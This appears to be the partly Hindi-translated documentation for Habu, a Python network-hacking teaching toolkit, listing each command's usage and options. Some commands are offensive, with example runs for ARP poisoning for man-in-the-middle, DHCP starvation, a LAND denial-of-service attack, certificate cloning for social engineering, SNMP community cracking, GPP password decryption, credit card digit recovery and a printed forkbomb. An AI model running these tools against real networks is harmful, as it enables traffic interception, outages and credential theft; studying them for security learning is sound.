
मैं Python और नेटवर्क हैकिंग के कुछ अवधारणाओं को सिखाने (और सीखने) के लिए Habu विकसित कर रहा हूँ।
वर्तमान संस्करण में लागू की गई कुछ तकनीकें हैं:
इस सॉफ्टवेयर का विकास Securetia SRL (https://www.securetia.com/) द्वारा समर्थित है।
विभिन्न उपयोगी उपयोग परिदृश्यों का विवरण https://fportantier.github.io/hacking-with-habu/ पर दिया गया है।
निम्नलिखित Youtube प्लेलिस्ट में वीडियो हैं जो इंस्टॉलेशन और उपयोग दिखाते हैं:
https://www.youtube.com/watch?v=rgp9seLLyqE&list=PL4HZnX8VnFXqSvNw7x-bXOn0dgxNdfnVD
यदि आप Habu की कुछ विशेषताओं, संभावित सुधारों आदि पर चर्चा करना चाहते हैं, तो आप Habu Telegram समूह का उपयोग कर सकते हैं: https://t.me/python_habu
समस्याएँ और पुल रिक्वेस्ट github रिपॉजिटरी पर भेजी जानी चाहिए: https://github.com/fportantier/habu
स्थापित करने का अनुशंसित तरीका:
::
$ python3 -m pip install --upgrade git+https://github.com/fportantier/habu.git
यह किसी भी सिस्टम पर काम करना चाहिए जिसमें Python 3 स्थापित है।
नोट: कुछ सिस्टम (जैसे Microsoft Windows) पर आपको Python निष्पादन योग्य के सही पथ को इंगित करने के लिए कमांड को समायोजित करना होगा।
अब हमारे पास Git रिपॉजिटरी से सीधे अपग्रेड करने और किसी भी पुराने कमांड को साफ करने का एक कमांड है जो अब मौजूद नहीं है या जिसका नाम बदल दिया गया है।
::
$ habu.upgrade
सभी कमांड '--help' विकल्प को लागू करते हैं, जो सहायता, तर्क, विकल्प और डिफ़ॉल्ट मान दिखाता है।
लगभग सभी कमांड '-v' विकल्प के साथ वर्बोज़ मोड लागू करते हैं। यह आपको Habu क्या कर रहा है इसके बारे में कुछ अतिरिक्त जानकारी दे सकता है।
arp.ping <#habuarpping>_arp.poison <#habuarppoison>_arp.sniff <#habuarpsniff>_asydns <#habuasydns>_b64 <#habub64>_cert.clone <#habucertclone>_cert.crtsh <#habucertcrtsh>_cert.names <#habucertnames>_config.del <#habuconfigdel>_config.set <#habuconfigset>_config.show <#habuconfigshow>_crack.luhn <#habucrackluhn>_crack.snmp <#habucracksnmp>_.. code-block::
Usage: habu.arp.ping [OPTIONS] IP
Send ARP packets to check if a host it's alive in the local network.
Example:
# habu.arp.ping 192.168.0.1
Ether / ARP is at a4:08:f5:19:17:a4 says 192.168.0.1 / Padding
Options:
-i TEXT Interface to use
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.arp.poison [OPTIONS] VICTIM1 VICTIM2
Send ARP 'is-at' packets to each victim, poisoning their ARP tables for
send the traffic to your system.
Note: If you want a full working Man In The Middle attack, you need to
enable the packet forwarding on your operating system to act like a
router. You can do that using:
# echo 1 > /proc/sys/net/ipv4/ip_forward
Example:
# habu.arpoison 192.168.0.1 192.168.0.77
Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77
Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.70
Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77
...
Options:
-i TEXT Interface to use
-v Verbose
--help Show this message and exit.
.. code-block::
Usage: habu.arp.sniff [OPTIONS]
Listen for ARP packets and show information for each device.
Columns: Seconds from last packet | IP | MAC | Vendor
Example:
1 192.168.0.1 a4:08:f5:19:17:a4 Sagemcom Broadband SAS
7 192.168.0.2 64:bc:0c:33:e5:57 LG Electronics (Mobile Communications)
2 192.168.0.5 00:c2:c6:30:2c:58 Intel Corporate
6 192.168.0.7 54:f2:01:db:35:58 Samsung Electronics Co.,Ltd
Options:
-i TEXT Interface to use
--help Show this message and exit.
.. code-block::
Usage: habu.asydns [OPTIONS]
Requests a DNS domain name based on public and private RSA keys using the
AsyDNS protocol https://github.com/portantier/asydns
Example:
$ habu.asydns -v
Generating RSA key ...
Loading RSA key ...
{
"ip": "181.31.41.231",
"name": "07286e90fd6e7e6be61d6a7919967c7cf3bbfb23a36edbc72b6d7c53.a.asydns.org"
}
$ dig +short 07286e90fd6e7e6be61d6a7919967c7cf3bbfb23a36edbc72b6d7c53.a.asydns.org
181.31.41.231
Options:
-u TEXT API URL
-g Force the generation of a new key pair
-r Revoke the public key
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.b64 [OPTIONS] [F]
Encodes or decode data in base64, just like the command base64.
$ echo awesome | habu.b64
YXdlc29tZQo=
$ echo YXdlc29tZQo= | habu.b64 -d
awesome
Options:
-d decode instead of encode
--help Show this message and exit.
.. code-block::
Usage: habu.cert.clone [OPTIONS] HOSTNAME PORT KEYFILE CERTFILE
Connect to an SSL/TLS server, get the certificate and generate a
certificate with the same options and field values.
Note: The generated certificate is invalid, but can be used for social
engineering attacks
Example:
$ habu.certclone www.google.com 443 /tmp/key.pem /tmp/cert.pem
Options:
--copy-extensions Copy certificate extensions (default: False)
--expired Generate an expired certificate (default: False)
-v Verbose
--help Show this message and exit.
.. code-block::
Usage: habu.cert.crtsh [OPTIONS] DOMAIN
Downloads the certificate transparency logs for a domain and check with
DNS queries if each subdomain exists.
Uses multithreading to improve the performance of the DNS queries.
Example:
$ habu.crtsh securetia.com
alt.securetia.com
other.securetia.com
www.securetia.com
Options:
-c Disable cache
-n Disable DNS subdomain validation
-v Verbose output
--json Print the output in JSON format
--help Show this message and exit.
.. code-block::
Usage: habu.cert.names [OPTIONS] [NETWORK]
Connects to each host/port and shows a summary of the certificate names.
The hosts to connect to are taken from two possible options:
1. -i option (default: stdin). A file where each line is a host or network
2. An argument that can be a host or network
If you use both methods, the hosts and networks are merged into one list.
Example:
$ habu.cert.names 2.18.60.240/29
2.18.60.241 443 i.s-microsoft.com microsoft.com privacy.microsoft.com
2.18.60.242 443 aod-ssl.itunes.apple.com aod.itunes.apple.com aodp-ssl.itunes.apple.com
2.18.60.243 443 *.mlb.com mlb.com
2.18.60.244 443 [SSL: TLSV1_ALERT_INTERNAL_ERROR] tlsv1 alert internal error (_ssl.c:1056)
2.18.60.245 443 cert2-cn-public-ubiservices.ubi.com cert2-cn-public-ws-ubiservices.ubi.com
2.18.60.246 443 *.blog.sina.com.cn *.dmp.sina.cn
aod.itunes.apple.com
aodp-ssl.itunes.apple.com
aod-ssl.itunes.apple.com
*.blog.sina.com.cn
cert2-cn-public-ubiservices.ubi.com
cert2-cn-public-ws-ubiservices.ubi.com
*.dmp.sina.cn
i.s-microsoft.com microsoft.com
*.mlb.com mlb.com
privacy.microsoft.com
Options:
-p TEXT Ports to connect to (comma separated list)
-i FILENAME Input file (Default: stdin)
-t FLOAT Time to wait for each connection
-v Verbose output
--json Print the output in JSON format
--help Show this message and exit.
.. code-block::
Usage: habu.config.del [OPTIONS] KEY
Delete a KEY from the configuration.
Note: By default, KEY is converted to uppercase.
Example:
$ habu.config.del DNS_SERVER
Options:
--help Show this message and exit.
.. code-block::
Usage: habu.config.set [OPTIONS] KEY VALUE
Set VALUE to the config KEY.
Note: By default, KEY is converted to uppercase.
Example:
$ habu.config.set DNS_SERVER 8.8.8.8
Options:
--help Show this message and exit.
.. code-block::
Usage: habu.config.show [OPTIONS]
Show the current config.
Note: By default, the options with 'KEY' in their name are shadowed.
Example:
$ habu.config.show
{
"DNS_SERVER": "8.8.8.8",
"FERNET_KEY": "*************"
}
Options:
-k, --show-keys Show also the key values
--option TEXT... Write to the config(KEY VALUE)
--help Show this message and exit.
.. code-block::
Usage: habu.crack.luhn [OPTIONS] NUMBER
Having known values for a Luhn validated number, obtain the possible
unknown numbers.
Numbers that use the Luhn algorithm for validation are Credit Cards, IMEI,
National Provider Identifier in the United States, Canadian Social
Insurance Numbers, Israel ID Numbers and Greek Social Security Numbers
(ΑΜΚΑ).
The '-' characters are ignored.
Define the missing numbers with the 'x' character.
Reference: https://en.wikipedia.org/wiki/Luhn_algorithm
Example:
$ habu.crack.luhn 4509-xx08-3160-6445
4509000831606445
4509180831606445
4509260831606445
4509340831606445
4509420831606445
4509590831606445
4509670831606445
4509750831606445
4509830831606445
4509910831606445
Options:
--help Show this message and exit.
.. code-block::
Usage: habu.crack.snmp [OPTIONS] IP
Launches snmp-get queries against an IP, and tells you when finds a valid
community string (is a simple SNMP cracker).
The dictionary used is the distributed with the onesixtyone tool
https://github.com/trailofbits/onesixtyone
Example:
# habu.crack.snmp 179.125.234.210
Community found: private
Community found: public
Note: You can also receive messages like \<UNIVERSAL\> \<class
'scapy.asn1.asn1.ASN1\_Class\_metaclass'\>, I don't know how to supress
them for now.
Options:
-p INTEGER Port to use
-c TEXT Community (default: list of most used)
-s Stop after first match
-v Verbose
--help Show this message and exit.
.. code-block::
Usage: habu.crypto.fernet [OPTIONS]
Fernet cipher.
Uses AES-128-CBC with HMAC
Note: You must use a key to cipher with Fernet.
Use the -k paramenter or set the FERNET_KEY configuration value.
The keys can be generated with the command habu.crypto.fernet.genkey
Reference: https://github.com/fernet/spec/blob/master/Spec.md
Example:
$ "I want to protect this string" | habu.crypto.fernet
gAAAAABbXnCGoCULLuVNRElYTbEcwnek9iq5jBKq9JAN3wiiBUzPqpUgV5oWvnC6xfIA...
$ echo gAAAAABbXnCGoCULLuVNRElYTbEcwnek9iq5jBKq9JAN3wiiBUzPqpUgV5oWvnC6xfIA... | habu.crypto.fernet -d
I want to protect this string
Options:
-k TEXT Key
-d Decrypt instead of encrypt
--ttl INTEGER Time To Live for timestamp verification
-i FILENAME Input file (default: stdin)
-o FILENAME Output file (default: stdout)
--help Show this message and exit.
.. code-block::
Usage: habu.crypto.fernet.genkey [OPTIONS]
Generate a new Fernet Key, optionally write it to ~/.habu.json
Example:
$ habu.crypto.fernet.genkey
xgvWCIvjwe9Uq7NBvwO796iI4dsGD623QOT9GWqnuhg=
Options:
-w Write this key to ~/.habu.json
--help Show this message and exit.
.. code-block::
Usage: habu.crypto.gppref [OPTIONS] PASSWORD
Decrypt the password of local users added via Windows 2008 Group Policy
Preferences.
This value is the 'cpassword' attribute embedded in the Groups.xml file,
stored in the domain controller's Sysvol share.
Example:
# habu.crypto.gppref AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk
testpassword
Options:
--help Show this message and exit.
.. code-block::
Usage: habu.crypto.hasher [OPTIONS] [F]
Compute various hashes for the input data, that can be a file or a stream.
Example:
$ habu.crypto.hasher README.rst
md5 992a833cd162047daaa6a236b8ac15ae README.rst
ripemd160 0566f9141e65e57cae93e0e3b70d1d8c2ccb0623 README.rst
sha1 d7dbfd2c5e2828eb22f776550c826e4166526253 README.rst
sha256 6bb22d927e1b6307ced616821a1877b6cc35e... README.rst
sha512 8743f3eb12a11cf3edcc16e400fb14d599b4a... README.rst
whirlpool 96bcc083242e796992c0f3462f330811f9e8c... README.rst
You can also specify which algorithm to use. In such case, the output is
only the value of the calculated hash:
$ habu.hasher -a md5 README.rst
992a833cd162047daaa6a236b8ac15ae README.rst
Options:
-a [md5|sha1|sha256|sha512|ripemd160|whirlpool]
Only this algorithm (Default: all)
--help Show this message and exit.
.. code-block::
Usage: habu.crypto.xor [OPTIONS]
XOR cipher.
Note: XOR is not a 'secure cipher'. If you need strong crypto you must use
algorithms like AES. You can use habu.fernet for that.
Example:
$ habu.xor -k mysecretkey -i /bin/ls > xored
$ habu.xor -k mysecretkey -i xored > uxored
$ sha1sum /bin/ls uxored
$ 6fcf930fcee1395a1c95f87dd38413e02deff4bb /bin/ls
$ 6fcf930fcee1395a1c95f87dd38413e02deff4bb uxored
Options:
-k TEXT Encryption key
-i FILENAME Input file (default: stdin)
-o FILENAME Output file (default: stdout)
--help Show this message and exit.
.. code-block::
Usage: habu.data.enrich [OPTIONS]
Enrich data adding interesting information.
Example:
$ cat /var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich
[
{
"asset": "8.8.8.8",
"family": "IPAddress",
"asn": "15169",
"net": "8.8.8.0/24",
"cc": "US",
"rir": "ARIN",
"asname": "GOOGLE - Google LLC, US"
},
{
"asset": "8.8.4.4",
"family": "IPAddress",
"asn": "15169",
"net": "8.8.4.0/24",
"cc": "US",
"rir": "ARIN",
"asname": "GOOGLE - Google LLC, US"
}
]
Options:
-i FILENAME Input file (Default: stdin)
-v Verbose output
--help Show this message and exit.
.. code-block::
Usage: habu.data.extract.domain [OPTIONS] [INFILE]
Extract valid domains from a file or stdin.
Optionally, check each domain for the presence of NS registers.
Example:
$ cat /var/log/some.log | habu.data.extract.domain -c
google.com
ibm.com
redhat.com
Options:
-c Check if domain has NS servers defined
-v Verbose output
-j JSON output
--help Show this message and exit.
.. code-block::
Usage: habu.data.extract.email [OPTIONS] [INFILE]
Extract email addresses from a file or stdin.
Example:
$ cat /var/log/auth.log | habu.data.extract.email
[email protected]
[email protected]
[email protected]
Options:
-v Verbose output
-j JSON output
--help Show this message and exit.
.. code-block::
Usage: habu.data.extract.fqdn [OPTIONS] [INFILE]
Extract FQDNs (Fully Qualified Domain Names) from a file or stdin.
Example:
$ cat /var/log/some.log | habu.data.extract.fqdn
www.google.com
ibm.com
fileserver.redhat.com
Options:
-c Check if hostname resolves
-v Verbose output
-j JSON output
--help Show this message and exit.
.. code-block::
Usage: habu.data.extract.ipv4 [OPTIONS] [INFILE]
Extract IPv4 addresses from a file or stdin.
Example:$ cat /var/log/auth.log | habu.data.extract.ipv4
172.217.162.4
23.52.213.96
190.210.43.70
विकल्प:
-j, --json JSON आउटपुट
-u, --unique डुप्लिकेट हटाएं
-v विस्तृत आउटपुट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.data.filter [OPTIONS] FIELD [gt|lt|eq|ne|ge|le|in|contains|defin
ed|undefined|true|false] [VALUE]
ऑपरेटरों के आधार पर डेटा फ़िल्टर करें।
ऑपरेटर संदर्भ:
gt: से बड़ा
lt: से छोटा
eq: के बराबर
ne: के बराबर नहीं
ge: से बड़ा या बराबर
le: से छोटा या बराबर
in: मानों की सूची में (या नेटवर्क के अंदर)
contains: मान शामिल है (या नेटवर्क पता)
defined: मान परिभाषित है
undefined: मान परिभाषित नहीं है
true: मान True है
false: मान False है
उदाहरण:
$ cat /var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich | habu.data.filter cc eq US
[
{
"item": "8.8.8.8",
"family": "ipv4_address",
"asn": "15169",
"net": "8.8.8.0/24",
"cc": "US",
"rir": "ARIN",
"asname": "GOOGLE - Google LLC, US"
}
]
दस्तावेज़: https://fportantier.github.io/hacking-with-habu/user/data-manipulation.html#data-enrichment
विकल्प:
-i FILENAME इनपुट फ़ाइल (डिफ़ॉल्ट: stdin)
-v विस्तृत आउटपुट
--not तुलना को नकारें
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.data.select [OPTIONS] FIELD
JSON इनपुट से एक फ़ील्ड चुनें।
उदाहरण:
$ cat /var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich | habu.data.filter cc eq US | habu.data.select asset
8.8.8.7
8.8.8.8
8.8.8.9
विकल्प:
-i FILENAME इनपुट फ़ाइल (डिफ़ॉल्ट: stdin)
-v विस्तृत आउटपुट
--json JSON आउटपुट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.dhcp.discover [OPTIONS]
एक DHCP अनुरोध भेजें और दिखाएँ कि किन उपकरणों ने उत्तर दिया है।
नोट: '-v' का उपयोग करके आप प्रतिक्रियाओं में शामिल सभी विकल्प (जैसे DNS सर्वर) देख सकते हैं।
# habu.dhcp_discover
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.5:bootpc / BOOTP / DHCP
विकल्प:
-i TEXT उपयोग करने के लिए इंटरफ़ेस
-t INTEGER प्रतिक्रियाओं की प्रतीक्षा करने का समय (सेकंड)
-v विस्तृत आउटपुट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.dhcp.starvation [OPTIONS]
DHCP सर्वर लीज़ भरने के लिए नकली MAC पतों से कई DHCP अनुरोध भेजें।
जब सभी उपलब्ध नेटवर्क पते निर्धारित हो जाते हैं, तो DHCP सर्वर प्रतिक्रियाएँ नहीं भेजता।
इसलिए, कुछ हमले, जैसे DHCP स्पूफिंग, किए जा सकते हैं।
# habu.dhcp_starvation
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.6:bootpc / BOOTP / DHCP
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.7:bootpc / BOOTP / DHCP
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.8:bootpc / BOOTP / DHCP
विकल्प:
-i TEXT उपयोग करने के लिए इंटरफ़ेस
-t INTEGER प्रतिक्रियाओं की प्रतीक्षा करने का समय (सेकंड)
-s INTEGER अनुरोधों के बीच का समय (सेकंड)
-v विस्तृत आउटपुट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.dns.lookup.forward [OPTIONS] HOSTNAME
किसी दिए गए होस्टनाम का फॉरवर्ड लुकअप करें।
उदाहरण:
$ habu.dns.lookup.forward google.com
{
"ipv4": "172.217.168.46",
"ipv6": "2a00:1450:400a:802::200e"
}
विकल्प:
-v विस्तृत आउटपुट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.dns.lookup.reverse [OPTIONS] IP_ADDRESS
किसी दिए गए IP पते का रिवर्स लुकअप करें।
उदाहरण:
$ $ habu.dns.lookup.reverse 8.8.8.8
{
"hostname": "google-public-dns-a.google.com"
}
विकल्प:
-v विस्तृत आउटपुट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.eicar [OPTIONS]
वह EICAR परीक्षण स्ट्रिंग प्रिंट करें जिसका उपयोग एंटीमैलवेयर इंजनों के परीक्षण के लिए किया जा सकता है।
अधिक जानकारी: http://www.eicar.org/86-0-Intended-use.html
उदाहरण:
$ habu.eicar
X5O!P%@AP[4\XZP54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
विकल्प:
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.forkbomb [OPTIONS] [bash|batch|c|haskell|perl|php|python|ruby]
विभिन्न भाषाओं में फोर्क बम का उपयोग करने का तरीका याद रखने का शॉर्टकट।
वर्तमान में समर्थित: bash, batch, c, haskell, perl, php, python, ruby.
उदाहरण:
$ habu.forkbomb c
#include <unistd.h>
int main()
{
while(1)
{
fork();
}
return 0;
}
विकल्प:
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.fqdn.finder [OPTIONS] [DOMAINS]...
निर्दिष्ट डोमेन के लिए वैध FQDN प्राप्त करने के लिए विभिन्न तकनीकों का उपयोग करता है।
1. DNS ज़ोन ट्रांसफ़र के साथ सभी FQDN आज़माएँ
2. प्रमाणपत्र पारदर्शिता लॉग जाँचें
3. निर्दिष्ट पोर्ट से कनेक्ट करें, SSL प्रमाणपत्र प्राप्त करें और उनसे FQDN प्राप्त करें
4. वेबसाइटों से कनेक्ट करें और वेबसाइट लिंक के आधार पर FQDN प्राप्त करें
5. सामान्य नामों के लिए DNS ब्रूट फ़ोर्स
DNS द्वारा हल नहीं होने वाले FQDN को हटाने के लिए परिणाम साफ़ किए जाते हैं
उदाहरण:
$ habu.fqdn.finder educacionit.com
barometrosalarial.educacionit.com
blog.educacionit.com
ci.educacionit.com
educacionit.com
intranet.educacionit.com
lecdev.educacionit.com
lecweb.educacionit.com
mail.educacionit.com
plantillas.educacionit.com
www.educacionit.com
विकल्प:
-t FLOAT प्रत्येक कनेक्शन की प्रतीक्षा करने का समय
-v विस्तृत आउटपुट
--debug डीबग आउटपुट
--connect / --no-connect ज्ञात FQDN खुले पोर्ट SSL प्रमाणपत्रों से प्राप्त करें
--brute / --no-brute डोमेन के विरुद्ध DNS ब्रूट फ़ोर्स चलाएँ
--links / --no-links वेबसाइट लिंक से FQDN निकालें
--xfr / --no-xfr डोमेन के विरुद्ध DNS ज़ोन ट्रांसफ़र करने का प्रयास करें
--ctlog / --no-ctlog प्रमाणपत्र पारदर्शिता लॉग से FQDN प्राप्त करने का प्रयास करें
--json आउटपुट JSON प्रारूप में प्रिंट करें
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.gateway.find [OPTIONS] NETWORK
किसी भी होस्ट का उपयोग करके बाहरी IP तक पहुँचने का प्रयास करें जिसमें राउटर है।
आपके नेटवर्क में राउटर खोजने में उपयोगी।
पहले, arping का उपयोग करके जीवित होस्ट का पता लगाएं और MAC पते प्राप्त करें।
बाद में, एक नेटवर्क पैकेट बनाएं और प्रत्येक MAC पते को गंतव्य के रूप में रखें।
अंत में, उन उपकरणों को प्रिंट करें जिन्होंने पैकेट को सही ढंग से अग्रेषित किया।
उदाहरण:
# habu.find.gateway 192.168.0.0/24
192.168.0.1 a4:08:f5:19:17:a4 Sagemcom
192.168.0.7 b0:98:2b:5d:22:70 Sagemcom
192.168.0.8 b0:98:2b:5d:1f:e8 Sagemcom
विकल्प:
-i TEXT उपयोग करने के लिए इंटरफ़ेस
--host TEXT पहुँचने के लिए होस्ट (डिफ़ॉल्ट: 8.8.8.8)
--tcp ICMP के बजाय TCP का उपयोग करें
--dport INTEGER RANGE TCP के लिए गंतव्य पोर्ट (डिफ़ॉल्ट: 80)
--timeout INTEGER सेकंड में टाइमआउट (डिफ़ॉल्ट: 5)
-v विस्तृत आउटपुट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.host [OPTIONS]
उस होस्ट के बारे में जानकारी एकत्र करें जहाँ habu चल रहा है।
उदाहरण:
$ habu.host
{
"kernel": [
"Linux",
"demo123",
"5.0.6-200.fc29.x86_64",
"#1 SMP Wed Apr 3 15:09:51 UTC 2019",
"x86_64",
"x86_64"
],
"distribution": [
"Fedora",
"29",
"Twenty Nine"
],
"libc": [
"glibc",
"2.2.5"
],
"arch": "x86_64",
"python_version": "3.7.3",
"os_name": "Linux",
"cpu": "x86_64",
"static_hostname": "demo123",
"fqdn": "demo123.lab.sierra"
}
विकल्प:
-v विस्तृत आउटपुट।
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.http.headers [OPTIONS] SERVER
वेब सर्वर के HTTP हेडर प्राप्त करें।
उदाहरण:
$ habu.http.headers http://duckduckgo.com
{
"Server": "nginx",
"Date": "Sun, 14 Apr 2019 00:00:55 GMT",
"Content-Type": "text/html",
"Content-Length": "178",
"Connection": "keep-alive",
"Location": "https://duckduckgo.com/",
"X-Frame-Options": "SAMEORIGIN",
"Content-Security-Policy": "default-src https: blob: data: 'unsafe-inline' 'unsafe-eval'",
"X-XSS-Protection": "1;mode=block",
"X-Content-Type-Options": "nosniff",
"Referrer-Policy": "origin",
"Expect-CT": "max-age=0",
"Expires": "Mon, 13 Apr 2020 00:00:55 GMT",
"Cache-Control": "max-age=31536000"
}
विकल्प:
-v विस्तृत आउटपुट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.http.options [OPTIONS] SERVER
वेब सर्वर के उपलब्ध HTTP विधियाँ प्राप्त करें।
उदाहरण:
$ habu.http.options -v http://google.com
{
"allowed": "GET, HEAD"
}
विकल्प:
-v विस्तृत आउटपुट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.http.tech [OPTIONS] URL
किसी वेब अनुप्रयोग पर उपयोग की जाने वाली तकनीकों की पहचान करने के लिए Wappalyzer apps.json डेटाबेस का उपयोग करता है।
संदर्भ: https://github.com/AliasIO/Wappalyzer
नोट: यह उपकरण केवल एक अनुरोध भेजता है। इसलिए, यह गुप्त है और संदिग्ध नहीं है।
$ habu.web.tech https://woocomerce.com
Google Tag Manager unknown
MySQL unknown
Nginx unknown
PHP unknown
Prototype unknown
RequireJS unknown
WooCommerce 3.8.0
WordPress 5.2.4
Yoast SEO 10.0.1
विकल्प:
--cache / --no-cache
--format [txt|csv|json] आउटपुट प्रारूप
-v विस्तृत आउटपुट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.icmp.ping [OPTIONS] IP
क्लासिक पिंग उपकरण जो ICMP इको अनुरोध भेजता है।
# habu.icmp.ping 8.8.8.8
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
विकल्प:
-i TEXT कौन सा इंटरफ़ेस उपयोग करना है (डिफ़ॉल्ट: auto)
-c INTEGER कितने पैकेट भेजने हैं (डिफ़ॉल्ट: अनंत)
-t INTEGER सेकंड में टाइमआउट (डिफ़ॉल्ट: 2)
-w INTEGER पैकेट के बीच कितने सेकंड (डिफ़ॉल्ट: 1)
-v विस्तृत आउटपुट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.ip.asn [OPTIONS] IP
सार्वजनिक IPv4/IPv6 के बारे में जानकारी प्राप्त करने के लिए Team Cymru ip2asn सेवा का उपयोग करें।
संदर्भ: https://www.team-cymru.com/IP-ASN-mapping.html
$ habu.ip.asn 8.8.8.8
{
"asn": "15169",
"net": "8.8.8.0/24",
"cc": "US",
"rir": "ARIN",
"asname": "GOOGLE - Google LLC, US",
"country": "United States"
}
विकल्प:
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.ip.geolocation [OPTIONS] IP_ADDRESS
https://ipapi.co/ से IP पते का भू-स्थान प्राप्त करें।
उदाहरण:
$ habu.ip.geolocation 8.8.8.8
{
"ip": "8.8.8.8",
"city": "Mountain View",
...
"asn": "AS15169",
"org": "Google LLC"
}
विकल्प:
-v विस्तृत आउटपुट।
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.ip.internal [OPTIONS]
स्थानीय इंटरफ़ेस के स्थानीय IP पते प्राप्त करें।
उदाहरण:
$ habu.ip.internal
{
"lo": {
"ipv4": [
{
"addr": "127.0.0.1",
"netmask": "255.0.0.0",
"peer": "127.0.0.1"
}
],
"link_layer": [
{
"addr": "00:00:00:00:00:00",
"peer": "00:00:00:00:00:00"
}
],
"ipv6": [
{
"addr": "::1",
"netmask": "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128"
}
]
},
...
विकल्प:
-v विस्तृत आउटपुट।
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.ip.public [OPTIONS]
https://api.ipify.org से कनेक्शन का सार्वजनिक IP पता प्राप्त करें।
उदाहरण:
$ habu.ip.public
80.219.53.185
विकल्प:
-4, --ipv4 अपना सार्वजनिक IPv4 पता प्रिंट करें (डिफ़ॉल्ट)
-6, --ipv6 अपना सार्वजनिक IPv6 पता प्रिंट करें
-j, --json आउटपुट JSON प्रारूप में प्रिंट करें
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.karma [OPTIONS] HOST
Karma सेवा https://karma.securetia.com का उपयोग करके एक IP को विभिन्न खतरा खुफिया/प्रतिष्ठा सूचियों के विरुद्ध जाँचें।
$ habu.karma www.google.com
www.google.com -> 64.233.190.99
[
"hphosts_fsa",
"hphosts_psh",
"hphosts_emd"
]
नोट: आप क्वेरी करने के लिए होस्टनाम या होस्ट का IP उपयोग कर सकते हैं।
विकल्प:
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.karma.bulk [OPTIONS] [INFILE]
Karma ऑनलाइन सेवा का उपयोग करके दिखाएँ कि कौन से IP पते ब्लैकलिस्ट में हैं।
उदाहरण:
$ cat /var/log/auth.log | habu.extract.ipv4 | habu.karma.bulk
172.217.162.4 spamhaus_drop,alienvault_spamming
23.52.213.96 CLEAN
190.210.43.70 alienvault_malicious
विकल्प:
--json JSON आउटपुट
--bad केवल ब्लैकलिस्ट में प्रविष्टियाँ दिखाएँ
-v विस्तृत आउटपुट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.land [OPTIONS] IP
यह कमांड LAND हमले को लागू करता है, जो स्रोत IP पते को नकली बनाकर गंतव्य IP के समान भेजता है। साथ ही समान स्रोत और गंतव्य पोर्ट का उपयोग करता है।
हमला बहुत पुराना है, और पुराने सिस्टम, जैसे Windows NT 4.0 पर सेवा से वंचित करने के लिए उपयोग किया जा सकता है। अधिक जानकारी यहाँ: https://en.wikipedia.org/wiki/LAND
# sudo habu.land 172.16.0.10
............
नोट: प्रत्येक बिंदु (.) एक भेजा गया पैकेट है। आप '-c' विकल्प के साथ निर्दिष्ट कर सकते हैं कि कितने पैकेट भेजने हैं। डिफ़ॉल्ट कभी रुकना नहीं है। साथ ही, आप '-p' विकल्प के साथ गंतव्य पोर्ट निर्दिष्ट कर सकते हैं।
विकल्प:
-c INTEGER कितने पैकेट भेजने हैं (डिफ़ॉल्ट: अनंत)
-p INTEGER उपयोग करने के लिए पोर्ट (डिफ़ॉल्ट: 135)
-i TEXT उपयोग करने के लिए इंटरफ़ेस
-v विस्तृत आउटपुट
--help यह संदेश दिखाएं और बाहर निकलें।
.. code-block::
Usage: habu.nc [OPTIONS] HOST PORT
एक प्रकार का netcat/ncat प्रतिस्थापन।
निष्पादन इन लोकप्रिय उपकरणों का अनुभव अनुकरण करता है।
उदाहरण:
$ habu.nc --crlf www.portantier.com 80
Connected to 45.77.113.133 80
HEAD / HTTP/1.0
HTTP/1.0 301 Moved Permanently
Date: Thu, 26 Jul 2018 21:10:51 GMT
Server: OpenBSD httpd
Connection: close
Content-Type: text/html
Content-Length: 443
Location: https://www.portantier.com/
विकल्प:
--family [4|6|46] IP पता परिवार
--ssl SSL सक्षम करें
--crlf EOL अनुक्रम के लिए CRLF का उपयोग करें
--protocol [tcp|udp] उपयोग करने के लिए लेयर 4 प्रोटोकॉल
